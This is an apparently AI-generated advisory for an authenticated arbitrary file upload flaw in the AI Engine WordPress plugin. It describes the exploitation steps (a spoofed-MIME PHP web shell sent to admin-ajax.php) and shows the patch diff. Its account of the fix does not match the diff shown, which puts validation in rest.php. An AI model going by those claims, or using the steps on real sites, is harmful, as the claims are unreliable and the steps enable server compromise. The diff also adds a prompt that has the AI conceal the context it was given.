Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-23802: AI Engine – The Chatbot, AI Framework & MCP for WordPress <= 3.3.2 – Authenticated (Editor+) Arbitrary File Upload (ai-engine)

Plugin ai-engine
Severity High (CVSS 7.2)
CWE 434
Vulnerable Version 3.3.2
Patched Version 3.3.3
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-23802:
The AI Engine WordPress plugin versions up to and including 3.3.2 contains an arbitrary file upload vulnerability. The plugin’s file upload functionality lacks proper file type validation for uploaded files. Authenticated attackers with Editor-level permissions or higher can exploit this to upload malicious files to the server, potentially leading to remote code execution.

Atomic Edge research identifies the root cause in the file upload handling within the `Meow_MWAI_Query_DroppedFile` class. The vulnerability exists in the `from_file` method at `ai-engine/classes/query/dropped-file.php`. This method processes file uploads through WordPress’s `$_FILES` array. The code accepts the uploaded file’s temporary path and MIME type directly from user-controlled input without performing server-side validation of the actual file content. Attackers can manipulate the MIME type parameter to bypass client-side restrictions.

The exploitation method requires an authenticated WordPress user with Editor privileges or higher. Attackers would send a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `mwai_upload_file`. The request must include a file upload parameter containing a malicious payload, such as a PHP web shell. The attacker can set the `mimeType` parameter to a legitimate-sounding value like `image/jpeg` while uploading a `.php` file. The plugin processes this upload without verifying the actual file content matches the declared MIME type.

The patch in version 3.3.3 adds comprehensive file type validation. The fix introduces server-side MIME type verification using the `finfo` extension or WordPress’s `wp_check_filetype_and_ext` function. The updated code now validates the actual file content against allowed file types before processing. The patch also implements proper file extension checking and removes reliance on user-supplied MIME type information for security decisions.

Successful exploitation allows attackers to upload arbitrary files to the WordPress uploads directory. This includes executable PHP files that can lead to remote code execution. Attackers can achieve complete server compromise, data theft, and further privilege escalation within the WordPress environment. The vulnerability affects all sites using AI Engine plugin versions ≤3.3.2 with Editor+ users.

Differential between vulnerable and patched code

Code Diff
--- a/ai-engine/ai-engine.php
+++ b/ai-engine/ai-engine.php
@@ -4,7 +4,7 @@
 Plugin Name: AI Engine
 Plugin URI: https://wordpress.org/plugins/ai-engine/
 Description: AI meets WordPress. Your site can now chat, write poetry, solve problems, and maybe make you coffee.
-Version: 3.3.2
+Version: 3.3.3
 Author: Jordy Meow
 Author URI: https://jordymeow.com
 Text Domain: ai-engine
@@ -12,7 +12,7 @@
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
 */

-define( 'MWAI_VERSION', '3.3.2' );
+define( 'MWAI_VERSION', '3.3.3' );
 define( 'MWAI_PREFIX', 'mwai' );
 define( 'MWAI_DOMAIN', 'ai-engine' );
 define( 'MWAI_ENTRY', __FILE__ );
--- a/ai-engine/classes/admin.php
+++ b/ai-engine/classes/admin.php
@@ -395,6 +395,9 @@
         'audio' => MWAI_FALLBACK_MODEL_AUDIO,
         'embeddings' => MWAI_FALLBACK_MODEL_EMBEDDINGS,
       ],
+      'integrations' => [
+        'polylang' => function_exists( 'pll_get_post_language' ),
+      ],
     ];

     wp_localize_script( 'mwai', 'mwai', $localize_data );
--- a/ai-engine/classes/core.php
+++ b/ai-engine/classes/core.php
@@ -59,6 +59,10 @@
   #region Init & Scripts
   public function init() {
     global $mwai;
+
+    // Language
+    load_plugin_textdomain( MWAI_DOMAIN, false, basename( MWAI_PATH ) . '/languages' );
+
     $this->chatbot = null;
     $this->discussions = null;

@@ -148,6 +152,11 @@
       if ( $this->get_option( 'mcp_plugins' ) && class_exists( 'MeowPro_MWAI_MCP_Plugin' ) ) {
         new MeowPro_MWAI_MCP_Plugin( $this );
       }
+
+      // Polylang - Pro multilingual MCP tools (only if Polylang is active)
+      if ( $this->get_option( 'mcp_polylang' ) && class_exists( 'MeowPro_MWAI_MCP_Polylang' ) && function_exists( 'pll_get_post_language' ) ) {
+        new MeowPro_MWAI_MCP_Polylang( $this );
+      }
     }
   }

@@ -535,6 +544,24 @@
     $context['length'] = strlen( $context['content'] );
     return $context;
   }
+
+  /**
+   * Wrap context content with framing instructions for AI.
+   * This helps the AI understand that the context is background knowledge.
+   *
+   * @param string $context The raw context content.
+   * @return string The framed context with instructions.
+   */
+  public function frame_context( $context ) {
+    if ( empty( $context ) ) {
+      return $context;
+    }
+    $framing = "The following is your knowledge about this topic. " .
+      "Use it naturally when relevant - never mention or acknowledge that this information was provided to you. " .
+      "If the user's message is unrelated (e.g., greetings, thanks), respond naturally without using it.";
+    $framing = apply_filters( 'mwai_context_framing', $framing, $context );
+    return $framing . "nn---n" . $context . "n---";
+  }
   #endregion

   #region Users/Sessions Helpers
@@ -872,6 +899,10 @@
         'type' => 'internal', 'name' => 'Timeless', 'themeId' => 'timeless',
         'settings' => [], 'style' => ''
       ],
+      'foundation' => [
+        'type' => 'internal', 'name' => 'Foundation', 'themeId' => 'foundation',
+        'settings' => [], 'style' => ''
+      ],
     ];
     $customThemes = [];
     foreach ( $themes as $theme ) {
--- a/ai-engine/classes/engines/anthropic.php
+++ b/ai-engine/classes/engines/anthropic.php
@@ -558,9 +558,10 @@
         ];
       }
       if ( !empty( $query->context ) ) {
+        $framedContext = $this->core->frame_context( $query->context );
         $systemBlocks[] = [
           'type' => 'text',
-          'text' => "Context:nn" . $query->context
+          'text' => $framedContext
         ];
       }
       if ( !empty( $systemBlocks ) ) {
--- a/ai-engine/classes/engines/chatml.php
+++ b/ai-engine/classes/engines/chatml.php
@@ -117,9 +117,10 @@
       $messages[] = $message;
     }

-    // If there is a context, we need to add it.
+    // If there is a context, we need to add it with proper framing.
     if ( !empty( $query->context ) ) {
-      $messages[] = [ 'role' => 'system', 'content' => $query->context ];
+      $framedContext = $this->core->frame_context( $query->context );
+      $messages[] = [ 'role' => 'system', 'content' => $framedContext ];
     }

     // Finally, we need to add the message, but if there is an image, we need to add it as a system message.
@@ -952,8 +953,21 @@
       throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
     }

+    // Use wp_safe_remote_get to block localhost/private IPs (SSRF protection)
+    $response = wp_safe_remote_get( $url, [
+      'timeout' => 60,
+      'redirection' => 0  // Prevent redirect-based bypass
+    ] );
+    if ( is_wp_error( $response ) ) {
+      throw new Exception( 'Failed to download audio: ' . $response->get_error_message() );
+    }
+    $audio_data = wp_remote_retrieve_body( $response );
+    if ( empty( $audio_data ) ) {
+      throw new Exception( 'Failed to download audio: empty response.' );
+    }
+
     $tmpFile = tempnam( sys_get_temp_dir(), 'audio_' );
-    file_put_contents( $tmpFile, file_get_contents( $url ) );
+    file_put_contents( $tmpFile, $audio_data );
     $length = null;
     $metadata = wp_read_audio_metadata( $tmpFile );
     if ( isset( $metadata['length'] ) ) {
--- a/ai-engine/classes/engines/google.php
+++ b/ai-engine/classes/engines/google.php
@@ -100,6 +100,7 @@
     if ( isset( $rawMessage['role'] ) && isset( $rawMessage['parts'] ) &&
         !isset( $rawMessage['content'] ) && !isset( $rawMessage['tool_calls'] ) && !isset( $rawMessage['function_call'] ) ) {
       // Clean up any empty args arrays in functionCall parts
+      // IMPORTANT: Preserve thought_signature exactly as Google returns it (Gemini 3 requirement)
       $cleanedMessage = $rawMessage;
       if ( isset( $cleanedMessage['parts'] ) ) {
         foreach ( $cleanedMessage['parts'] as &$part ) {
@@ -109,6 +110,8 @@
               unset( $part['functionCall']['args'] );
             }
           }
+          // Note: thought_signature is preserved as-is (don't normalize to camelCase)
+          // Gemini 3 requires the exact format it returns
         }
       }
       return $cleanedMessage;
@@ -198,10 +201,11 @@

     // 3. Context (if any).
     if ( !empty( $query->context ) ) {
+      $framedContext = $this->core->frame_context( $query->context );
       $messages[] = [
         'role' => 'model',
         'parts' => [
-          [ 'text' => $query->context ]
+          [ 'text' => $framedContext ]
         ]
       ];
     }
@@ -300,7 +304,7 @@
         $messages[] = $formattedMessage;
         foreach ( $feedback_block['feedbacks'] as $feedback ) {
           $functionResponseMessage = [
-            'role' => 'function',
+            'role' => 'user',
             'parts' => [
               [
                 'functionResponse' => [
@@ -356,9 +360,15 @@
   protected function build_body( $query, $streamCallback = null ) {
     $body = [];

+    // Gemini 3 models don't support multiple candidates
+    $candidateCount = $query->maxResults;
+    if ( preg_match( '/gemini-3/', $query->model ) && $candidateCount > 1 ) {
+      $candidateCount = 1;
+    }
+
     // Build generation config
     $body['generationConfig'] = [
-      'candidateCount' => $query->maxResults,
+      'candidateCount' => $candidateCount,
       'maxOutputTokens' => $query->maxTokens,
       'temperature' => $query->temperature,
       'stopSequences' => []
@@ -567,9 +577,22 @@
           $hasGeneratedImage = false;

           if ( isset( $content['parts'] ) ) {
-            // Debug: Log the parts structure when thinking is enabled
-            if ( $this->core->get_option( 'queries_debug_mode' ) && !empty( $query->tools ) && in_array( 'thinking', $query->tools ) ) {
-              error_log( '[AI Engine] Response parts: ' . json_encode( $content['parts'] ) );
+            // Debug: Log the parts structure when debug mode is enabled and there are function calls
+            $hasFunctionCalls = false;
+            foreach ( $content['parts'] as $checkPart ) {
+              if ( isset( $checkPart['functionCall'] ) ) {
+                $hasFunctionCalls = true;
+                break;
+              }
+            }
+            if ( $this->core->get_option( 'queries_debug_mode' ) && $hasFunctionCalls ) {
+              error_log( '[AI Engine Queries] Google response parts with function calls: ' . json_encode( $content['parts'] ) );
+              // Check for thoughtSignature in parts
+              foreach ( $content['parts'] as $debugPart ) {
+                if ( isset( $debugPart['thoughtSignature'] ) || isset( $debugPart['thought_signature'] ) ) {
+                  error_log( '[AI Engine Queries] Found thoughtSignature in response' );
+                }
+              }
             }

             foreach ( $content['parts'] as $part ) {
@@ -1121,8 +1144,8 @@
           $model['name'] = preg_replace( '/((beta|alpha|preview))/i', '', $model['name'] );
         }

-        // Vision capabilities - all 2.5, 2.0, and 1.5 models support vision and files
-        if ( preg_match( '/gemini-(2.5|2.0|1.5)/', $model_id ) ) {
+        // Vision capabilities - all 3.x, 2.5, 2.0, and 1.5 models support vision and files
+        if ( preg_match( '/gemini-(3|2.5|2.0|1.5)/', $model_id ) ) {
           $tags[] = 'vision';
           $tags[] = 'files'; // All vision models support PDFs/documents
           $features[] = 'vision';
@@ -1253,6 +1276,15 @@
           $priceIn = 0.30;
           $priceOut = 30.00; // Output is $30 per 1M tokens
         }
+        else if ( preg_match( '/gemini-3.*image/', $model_id ) ) {
+          // Gemini 3 Pro Image: token-based pricing (like Flash Image)
+          // Pricing not yet officially announced, using estimate based on ~1500 tokens/image
+          // Target: ~$0.04 per image → $26.67 per 1M output tokens
+          $model['unit'] = 1 / 1000000; // Per 1M tokens
+          $model['mode'] = 'image';
+          $priceIn = 0.30; // Estimate similar to Flash Image
+          $priceOut = 26.67; // ~$0.04 per image at ~1500 tokens
+        }
       }

       // Add dimensions for embedding models
@@ -1264,7 +1296,8 @@
           $model['dimensions'] = [ 3072 ];
         }
       }
-      if ( $priceIn > 0 && $priceOut > 0 ) {
+      // Set price if either input or output has a cost (image models often have $0 input)
+      if ( $priceIn > 0 || $priceOut > 0 ) {
         $model['price'] = [ 'in' => $priceIn, 'out' => $priceOut ];
       }

@@ -1486,6 +1519,12 @@
       call_user_func( $streamCallback, $event );
     }

+    // Gemini 3 models don't support multiple candidates
+    $candidateCount = $query->maxResults;
+    if ( preg_match( '/gemini-3/', $query->model ) && $candidateCount > 1 ) {
+      $candidateCount = 1;
+    }
+
     // Build the request for image generation
     $body = [
       'contents' => [
@@ -1496,7 +1535,7 @@
         ]
       ],
       'generationConfig' => [
-        'candidateCount' => $query->maxResults
+        'candidateCount' => $candidateCount
       ]
     ];

--- a/ai-engine/classes/engines/mistral.php
+++ b/ai-engine/classes/engines/mistral.php
@@ -78,6 +78,12 @@
     // Use parent's build_body for standard ChatML format
     $body = parent::build_body( $query, $streamCallback, $extra );

+    // Mistral embedding models don't support the dimensions parameter
+    if ( $query instanceof Meow_MWAI_Query_Embed ) {
+      unset( $body['dimensions'] );
+      return $body;
+    }
+
     // Mistral uses 'max_tokens' instead of 'max_completion_tokens'
     if ( isset( $body['max_completion_tokens'] ) ) {
       $body['max_tokens'] = $body['max_completion_tokens'];
@@ -282,8 +288,6 @@
           'moderation',      // Moderation models
           'ocr',            // OCR-specific models
           'transcribe',     // Transcription-specific models
-          'mistral-embed',  // Legacy embed model (we'll include newer ones)
-          'codestral-embed' // Code-specific embed model
         ];

         $shouldSkip = false;
@@ -336,14 +340,23 @@
         }

         // Check for embeddings capability
-        // Skip older embedding models in favor of newer ones
+        $dimensions = null;
         if ( strpos( $modelId, 'embed' ) !== false ) {
-          // Only include the latest embed models
-          if ( $modelId === 'mistral-embed-2312' || $modelId === 'mistral-embed' ) {
-            continue; // Skip legacy embed models
+          // Skip only the dated legacy version
+          if ( $modelId === 'mistral-embed-2312' ) {
+            continue;
           }
           $features = ['embedding'];
           $tags = ['core', 'embedding'];
+          // Set dimensions based on model type
+          // mistral-embed: 1024 dimensions (fixed)
+          // codestral-embed: 3072 dimensions (fixed)
+          if ( strpos( $modelId, 'codestral' ) !== false ) {
+            $dimensions = 3072;
+          }
+          else {
+            $dimensions = 1024;
+          }
         }

         // Check for audio capability (voxtral models for chat, not transcription)
@@ -488,7 +501,7 @@
         // Mark this model as seen (after confirming it will be included)
         $seenModels[$modelName] = true;

-        $models[] = [
+        $modelData = [
           'model' => $modelId,
           'name' => $modelName,
           'family' => 'mistral',
@@ -503,6 +516,11 @@
           'maxContextualTokens' => $maxContextualTokens,
           'tags' => $tags,
         ];
+        // Add dimensions for embedding models (fixed, not configurable)
+        if ( $dimensions !== null ) {
+          $modelData['dimensions'] = $dimensions;
+        }
+        $models[] = $modelData;
       }

       return $models;
--- a/ai-engine/classes/engines/open-router.php
+++ b/ai-engine/classes/engines/open-router.php
@@ -128,6 +128,135 @@
   }

   /**
+   * OpenRouter uses /chat/completions with modalities parameter for image generation,
+   * not the standard /images/generations endpoint.
+   */
+  public function run_image_query( $query, $streamCallback = null ) {
+    $body = [
+      'model' => $query->model,
+      'messages' => [
+        [
+          'role' => 'user',
+          'content' => $query->get_message()
+        ]
+      ],
+      'modalities' => [ 'text', 'image' ],
+    ];
+
+    // Add number of images if specified
+    if ( !empty( $query->maxResults ) && $query->maxResults > 1 ) {
+      $body['n'] = $query->maxResults;
+    }
+
+    // Add image config for Gemini models (aspect ratio support)
+    if ( !empty( $query->resolution ) && strpos( $query->model, 'google/' ) === 0 ) {
+      $body['image_config'] = [
+        'aspect_ratio' => $query->resolution
+      ];
+    }
+
+    $endpoint = apply_filters( 'mwai_openrouter_endpoint', 'https://openrouter.ai/api/v1', $this->env );
+    $url = trailingslashit( $endpoint ) . 'chat/completions';
+    $headers = $this->build_headers( $query );
+    $options = $this->build_options( $headers, $body );
+
+    try {
+      $res = $this->run_query( $url, $options );
+      $data = $res['data'];
+
+      if ( empty( $data ) || !isset( $data['choices'] ) ) {
+        throw new Exception( 'No image generated in response.' );
+      }
+
+      $reply = new Meow_MWAI_Reply( $query );
+      $reply->set_type( 'images' );
+      $images = [];
+
+      // Extract images from the response
+      foreach ( $data['choices'] as $choice ) {
+        $message = $choice['message'] ?? [];
+
+        // Check for images in the message (OpenRouter format)
+        // Each image is: { "type": "image_url", "image_url": { "url": "data:image/png;base64,..." } }
+        if ( isset( $message['images'] ) && is_array( $message['images'] ) ) {
+          foreach ( $message['images'] as $image ) {
+            if ( is_array( $image ) && isset( $image['image_url']['url'] ) ) {
+              $images[] = [ 'url' => $image['image_url']['url'] ];
+            }
+            elseif ( is_array( $image ) && isset( $image['image_url'] ) && is_string( $image['image_url'] ) ) {
+              $images[] = [ 'url' => $image['image_url'] ];
+            }
+            elseif ( is_string( $image ) ) {
+              // Direct base64 string
+              $images[] = [ 'url' => $image ];
+            }
+          }
+        }
+
+        // Also check content array for image parts
+        if ( isset( $message['content'] ) && is_array( $message['content'] ) ) {
+          foreach ( $message['content'] as $part ) {
+            if ( isset( $part['type'] ) && $part['type'] === 'image_url' ) {
+              if ( isset( $part['image_url']['url'] ) ) {
+                $images[] = [ 'url' => $part['image_url']['url'] ];
+              }
+              elseif ( is_string( $part['image_url'] ) ) {
+                $images[] = [ 'url' => $part['image_url'] ];
+              }
+            }
+          }
+        }
+      }
+
+      if ( empty( $images ) ) {
+        throw new Exception( 'No images found in the response.' );
+      }
+
+      // Record usage
+      $model = $query->model;
+      $resolution = !empty( $query->resolution ) ? $query->resolution : '1024x1024';
+
+      if ( isset( $data['usage'] ) ) {
+        $usage = $data['usage'];
+        $promptTokens = $usage['prompt_tokens'] ?? 0;
+        $completionTokens = $usage['completion_tokens'] ?? 0;
+        $this->core->record_tokens_usage( $model, $promptTokens, $completionTokens );
+        $usage['queries'] = 1;
+        $usage['accuracy'] = 'tokens';
+        $reply->set_usage( $usage );
+        $reply->set_usage_accuracy( 'tokens' );
+      }
+      else {
+        $usage = $this->core->record_images_usage( $model, $resolution, count( $images ) );
+        $reply->set_usage( $usage );
+        $reply->set_usage_accuracy( 'estimated' );
+      }
+
+      $reply->set_choices( $images );
+
+      // Handle local download if enabled
+      if ( $query->localDownload === 'uploads' || $query->localDownload === 'library' ) {
+        foreach ( $reply->results as &$result ) {
+          $fileId = $this->core->files->upload_file( $result, null, 'generated', [
+            'query_envId' => $query->envId,
+            'query_session' => $query->session,
+            'query_model' => $query->model,
+          ], $query->envId, $query->localDownload, $query->localDownloadExpiry );
+          $fileUrl = $this->core->files->get_url( $fileId );
+          $result = $fileUrl;
+        }
+      }
+
+      $reply->result = $reply->results[0];
+      return $reply;
+    }
+    catch ( Exception $e ) {
+      Meow_MWAI_Logging::error( 'OpenRouter: ' . $e->getMessage() );
+      throw new Exception( 'OpenRouter: ' . $e->getMessage() );
+    }
+  }
+
+  /**
   * Retrieve the models from OpenRouter, adding tags/features accordingly.
   */
   public function retrieve_models() {
@@ -263,7 +392,20 @@
       $tags[] = 'vision';
     }

-    return [
+    // Check if the model supports image generation (if "image" is in the output part after "->")
+    // e.g. "text->image" or "text+image->text+image" means it can generate images
+    $isImageGeneration = false;
+    if ( strpos( $modality_lc, '->' ) !== false ) {
+      $parts = explode( '->', $modality_lc );
+      $outputPart = $parts[1] ?? '';
+      $isImageGeneration = strpos( $outputPart, 'image' ) !== false;
+    }
+    if ( $isImageGeneration ) {
+      $features = [ 'text-to-image' ];
+      $tags = [ 'core', 'image' ];
+    }
+
+    $entry = [
       'model' => $model['id'] ?? '',
       'name' => trim( $model['name'] ?? '' ),
       'family' => $family,
@@ -278,6 +420,13 @@
       'maxContextualTokens' => $maxContextualTokens,
       'tags' => $tags,
     ];
+
+    // Add mode for image generation models
+    if ( $isImageGeneration ) {
+      $entry['mode'] = 'image';
+    }
+
+    return $entry;
   }

   /**
--- a/ai-engine/classes/engines/openai.php
+++ b/ai-engine/classes/engines/openai.php
@@ -272,10 +272,11 @@

           // Add context if present
           if ( !empty( $query->context ) ) {
+            $framedContext = $this->core->frame_context( $query->context );
             // Prepend context as a separate input_text in the same message
             array_unshift( $body['input'][0]['content'], [
               'type' => 'input_text',
-              'text' => $query->context . "nn"
+              'text' => $framedContext . "nn"
             ] );
           }
         }
@@ -305,14 +306,15 @@

         // Add context if present
         if ( !empty( $query->context ) ) {
+          $framedContext = $this->core->frame_context( $query->context );
           if ( isset( $body['input'] ) && is_string( $body['input'] ) ) {
-            $body['input'] = $query->context . "nn" . $body['input'];
+            $body['input'] = $framedContext . "nn" . $body['input'];
           }
           else {
             // Add context as system message
             array_unshift( $body['input'], [
               'role' => 'system',
-              'content' => $query->context
+              'content' => $framedContext
             ] );
           }
         }
--- a/ai-engine/classes/engines/replicate.php
+++ b/ai-engine/classes/engines/replicate.php
@@ -52,9 +52,10 @@
       $messages[] = $message;
     }

-    // If there is a context, we need to add it.
+    // If there is a context, we need to add it with proper framing.
     if ( !empty( $query->context ) ) {
-      $messages[] = [ 'role' => 'system', 'content' => $query->context ];
+      $framedContext = $this->core->frame_context( $query->context );
+      $messages[] = [ 'role' => 'system', 'content' => $framedContext ];
     }

     // Finally, we need to add the message, but if there is an image, we need to add it as a system message.
--- a/ai-engine/classes/modules/chatbot.php
+++ b/ai-engine/classes/modules/chatbot.php
@@ -163,6 +163,7 @@
     $actions = $this->sanitize_actions( $actions );
     $blocks = $this->sanitize_blocks( $blocks );
     $shortcuts = $this->sanitize_shortcuts( $shortcuts );
+    $shortcuts = $this->prepare_shortcuts_for_client( $shortcuts, $botId );
     $result = [
       'success' => true,
       'reply' => $reply,
@@ -207,6 +208,21 @@
     $newFileId = $params['newFileId'] ?? null;
     $newFileIds = $params['newFileIds'] ?? [];
     $crossSite = $params['crossSite'] ?? false;
+    $shortcutId = $params['shortcutId'] ?? null;
+
+    // If shortcutId is provided, look up the actual message
+    if ( $shortcutId && empty( $newMessage ) ) {
+      $shortcutMessage = $this->get_shortcut_message( $shortcutId, $botId );
+      if ( $shortcutMessage ) {
+        $newMessage = $shortcutMessage;
+      }
+      else {
+        return $this->create_rest_response( [
+          'success' => false,
+          'message' => 'Invalid or expired shortcut.'
+        ], 400 );
+      }
+    }

     if ( !$this->basics_security_check( $botId, $customId, $newMessage, $newFileId ) ) {
       return $this->create_rest_response( [
@@ -309,6 +325,79 @@
     return $this->sanitize_items( $shortcuts, $supported_shortcut_types, 'shortcut' );
   }

+  /**
+   * Prepare shortcuts for client by replacing messages with shortcutIds.
+   * The actual messages are stored server-side and looked up when the shortcut is clicked.
+   * This keeps the prompt content private and not exposed in the browser.
+   *
+   * @param array $shortcuts The shortcuts to prepare.
+   * @param string $botId The bot ID for validation.
+   * @return array The prepared shortcuts with shortcutIds instead of messages.
+   */
+  public function prepare_shortcuts_for_client( $shortcuts, $botId ) {
+    if ( empty( $shortcuts ) ) {
+      return $shortcuts;
+    }
+
+    $prepared = [];
+    foreach ( $shortcuts as $shortcut ) {
+      $type = $shortcut['type'] ?? '';
+      $data = $shortcut['data'] ?? [];
+
+      // Only process shortcuts that have a message (not callbacks)
+      if ( isset( $data['message'] ) && !empty( $data['message'] ) ) {
+        // Generate a unique shortcut ID
+        $shortcutId = wp_generate_uuid4();
+
+        // Store the message server-side (transient with 1 hour expiry)
+        $transient_key = 'mwai_shortcut_' . $shortcutId;
+        set_transient( $transient_key, [
+          'message' => $data['message'],
+          'botId' => $botId,
+        ], HOUR_IN_SECONDS );
+
+        // Replace message with shortcutId
+        unset( $data['message'] );
+        $data['shortcutId'] = $shortcutId;
+      }
+
+      $prepared[] = [
+        'type' => $type,
+        'data' => $data,
+      ];
+    }
+
+    return $prepared;
+  }
+
+  /**
+   * Look up a shortcut message by its ID.
+   *
+   * @param string $shortcutId The shortcut ID.
+   * @param string $botId The bot ID for validation.
+   * @return string|null The message, or null if not found.
+   */
+  public function get_shortcut_message( $shortcutId, $botId ) {
+    if ( empty( $shortcutId ) ) {
+      return null;
+    }
+
+    $transient_key = 'mwai_shortcut_' . $shortcutId;
+    $shortcut_data = get_transient( $transient_key );
+
+    if ( !$shortcut_data || !isset( $shortcut_data['message'] ) ) {
+      return null;
+    }
+
+    // Validate botId matches (security check)
+    if ( isset( $shortcut_data['botId'] ) && $shortcut_data['botId'] !== $botId ) {
+      Meow_MWAI_Logging::warn( "Shortcut botId mismatch: expected {$shortcut_data['botId']}, got {$botId}" );
+      return null;
+    }
+
+    return $shortcut_data['message'];
+  }
+
   #region Messages Integrity Check

   public function messages_integrity_diff( $messages1, $messages2 ) {
@@ -1167,7 +1256,9 @@
     $shortcuts = apply_filters( 'mwai_chatbot_shortcuts', [], $filterParams );
     $frontSystem['actions'] = $this->sanitize_actions( $actions );
     $frontSystem['blocks'] = $this->sanitize_blocks( $blocks );
-    $frontSystem['shortcuts'] = $this->sanitize_shortcuts( $shortcuts );
+    $shortcuts = $this->sanitize_shortcuts( $shortcuts );
+    $shortcuts = $this->prepare_shortcuts_for_client( $shortcuts, $botId );
+    $frontSystem['shortcuts'] = $shortcuts;

     // Client-side: Prepare JSON for Front Params and System Params
     $theme = isset( $frontParams['themeId'] ) ? $this->core->get_theme( $frontParams['themeId'] ) : null;
--- a/ai-engine/classes/query/dropped-file.php
+++ b/ai-engine/classes/query/dropped-file.php
@@ -9,6 +9,42 @@
   private $fileId; // The ID of the file in the database
   public $originalPath; // The original file path (for files loaded from disk)

+  /**
+   * Fetch content from a URL, handling internal vs external URLs differently.
+   * Internal URLs (same site) use wp_remote_get to avoid SSRF blocking issues.
+   * External URLs use wp_safe_remote_get for SSRF protection.
+   */
+  private static function fetch_url_content( $url ) {
+    $parts = wp_parse_url( $url );
+    if ( !isset( $parts['scheme'] ) || !in_array( $parts['scheme'], [ 'http', 'https' ], true ) ) {
+      throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
+    }
+
+    // Check if internal URL by comparing hostnames (handles http/https mismatch)
+    $site_host = wp_parse_url( get_site_url(), PHP_URL_HOST );
+    $url_host = wp_parse_url( $url, PHP_URL_HOST );
+    $is_internal = ( $site_host === $url_host );
+
+    if ( $is_internal ) {
+      $response = wp_remote_get( $url, [ 'timeout' => 60, 'sslverify' => false ] );
+    }
+    else {
+      // SSRF protection for external URLs
+      $response = wp_safe_remote_get( $url, [ 'timeout' => 60, 'redirection' => 0 ] );
+    }
+
+    if ( is_wp_error( $response ) ) {
+      throw new Exception( 'AI Engine: Failed to download file: ' . $response->get_error_message() );
+    }
+
+    $data = wp_remote_retrieve_body( $response );
+    if ( empty( $data ) ) {
+      throw new Exception( 'AI Engine: Failed to download file contents from URL.' );
+    }
+
+    return $data;
+  }
+
   public static function from_url( $url, $purpose, $mimeType = null, $fileId = null ) {
     if ( empty( $mimeType ) ) {
       $mimeType = Meow_MWAI_Core::get_mime_type( $url );
@@ -120,25 +156,32 @@
       if ( empty( $url ) ) {
         throw new Exception( 'AI Engine: Could not find file URL for refId: ' . $this->data );
       }
-      $parts = wp_parse_url( $url );
-      if ( !isset( $parts['scheme'] ) || !in_array( $parts['scheme'], [ 'http', 'https' ], true ) ) {
-        throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
-      }
-      $data = file_get_contents( $url );
-      if ( $data === false ) {
-        throw new Exception( 'AI Engine: Failed to download file contents for refId: ' . $this->data );
-      }
-      $this->rawData = $data;
+      $this->rawData = self::fetch_url_content( $url );
       return $this->rawData;
     }
     else if ( $this->type === 'url' ) {
-      // Validate URL scheme to prevent SSRF attacks
-      $parts = wp_parse_url( $this->data );
-      if ( !isset( $parts['scheme'] ) || !in_array( $parts['scheme'], [ 'http', 'https' ], true ) ) {
-        throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
+      // For internal URLs, try to read from disk first (more efficient)
+      $site_host = wp_parse_url( get_site_url(), PHP_URL_HOST );
+      $url_host = wp_parse_url( $this->data, PHP_URL_HOST );
+      if ( $site_host === $url_host ) {
+        $upload_dir = wp_upload_dir();
+        // Normalize protocols for comparison (http vs https)
+        $normalized_url = preg_replace( '/^https?:/', '', $this->data );
+        $normalized_upload_url = preg_replace( '/^https?:/', '', $upload_dir['baseurl'] );
+        if ( strpos( $normalized_url, $normalized_upload_url ) === 0 ) {
+          $local_path = str_replace( $normalized_upload_url, $upload_dir['basedir'], $normalized_url );
+          $local_path = Meow_MWAI_Core::sanitize_file_path( $local_path );
+          if ( file_exists( $local_path ) && is_readable( $local_path ) ) {
+            $this->rawData = file_get_contents( $local_path );
+            if ( $this->rawData !== false ) {
+              return $this->rawData;
+            }
+          }
+        }
       }

-      $this->rawData = file_get_contents( $this->data );
+      // Fetch via HTTP (handles internal vs external URLs with SSRF protection)
+      $this->rawData = self::fetch_url_content( $this->data );
       return $this->rawData;
     }
     else if ( $this->type === 'data' ) {
--- a/ai-engine/classes/rest.php
+++ b/ai-engine/classes/rest.php
@@ -1137,6 +1137,26 @@
       if ( !empty( $filename ) ) {
         $file_path = get_attached_file( $attachment_id );
         if ( $file_path ) {
+          // Security: Validate file extension to prevent arbitrary file upload attacks
+          $original_ext = strtolower( pathinfo( $file_path, PATHINFO_EXTENSION ) );
+          $new_ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
+
+          // Allowlist of safe media extensions (no executable types)
+          $allowed_extensions = [
+            'jpg', 'jpeg', 'png', 'gif', 'webp', 'bmp', 'ico', 'svg', 'avif',
+            'mp4', 'webm', 'ogg', 'mov', 'avi', 'wmv', 'flv', 'm4v',
+            'mp3', 'wav', 'flac', 'aac', 'm4a', 'wma',
+            'pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'rtf'
+          ];
+
+          // Extension must be in allowlist AND match original extension
+          if ( !in_array( $new_ext, $allowed_extensions, true ) ) {
+            throw new Exception( __( 'Invalid file extension. Only media file extensions are allowed.', 'ai-engine' ) );
+          }
+          if ( $new_ext !== $original_ext ) {
+            throw new Exception( __( 'File extension must match the original file type.', 'ai-engine' ) );
+          }
+
           $path_parts = pathinfo( $file_path );
           $new_file_path = $path_parts['dirname'] . '/' . $filename;
           if ( rename( $file_path, $new_file_path ) ) {
--- a/ai-engine/constants/init.php
+++ b/ai-engine/constants/init.php
@@ -112,6 +112,7 @@
   'search_frontend_env_id' => null,
   'search_website_context' => 'This is a website with useful information and content.',
   'module_forms' => false,
+  'forms_editor' => true,
   'module_blocks' => false,
   'module_playground' => true,
   'module_generator_content' => true,
--- a/ai-engine/constants/models.php
+++ b/ai-engine/constants/models.php
@@ -821,6 +821,9 @@
     'tags' => ['core', 'video']
   ],
   // Embedding models:
+  // OpenAI v3 models support Matryoshka embeddings (MRL) allowing dimension truncation
+  // while preserving semantic meaning. The dimensions array lists native + recommended sizes.
+  // See: https://huggingface.co/blog/matryoshka
   [
     'model' => 'text-embedding-3-small',
     'name' => 'Embedding 3-Small',
@@ -830,8 +833,8 @@
     'type' => 'token',
     'unit' => 1 / 1000000,
     'finetune' => false,
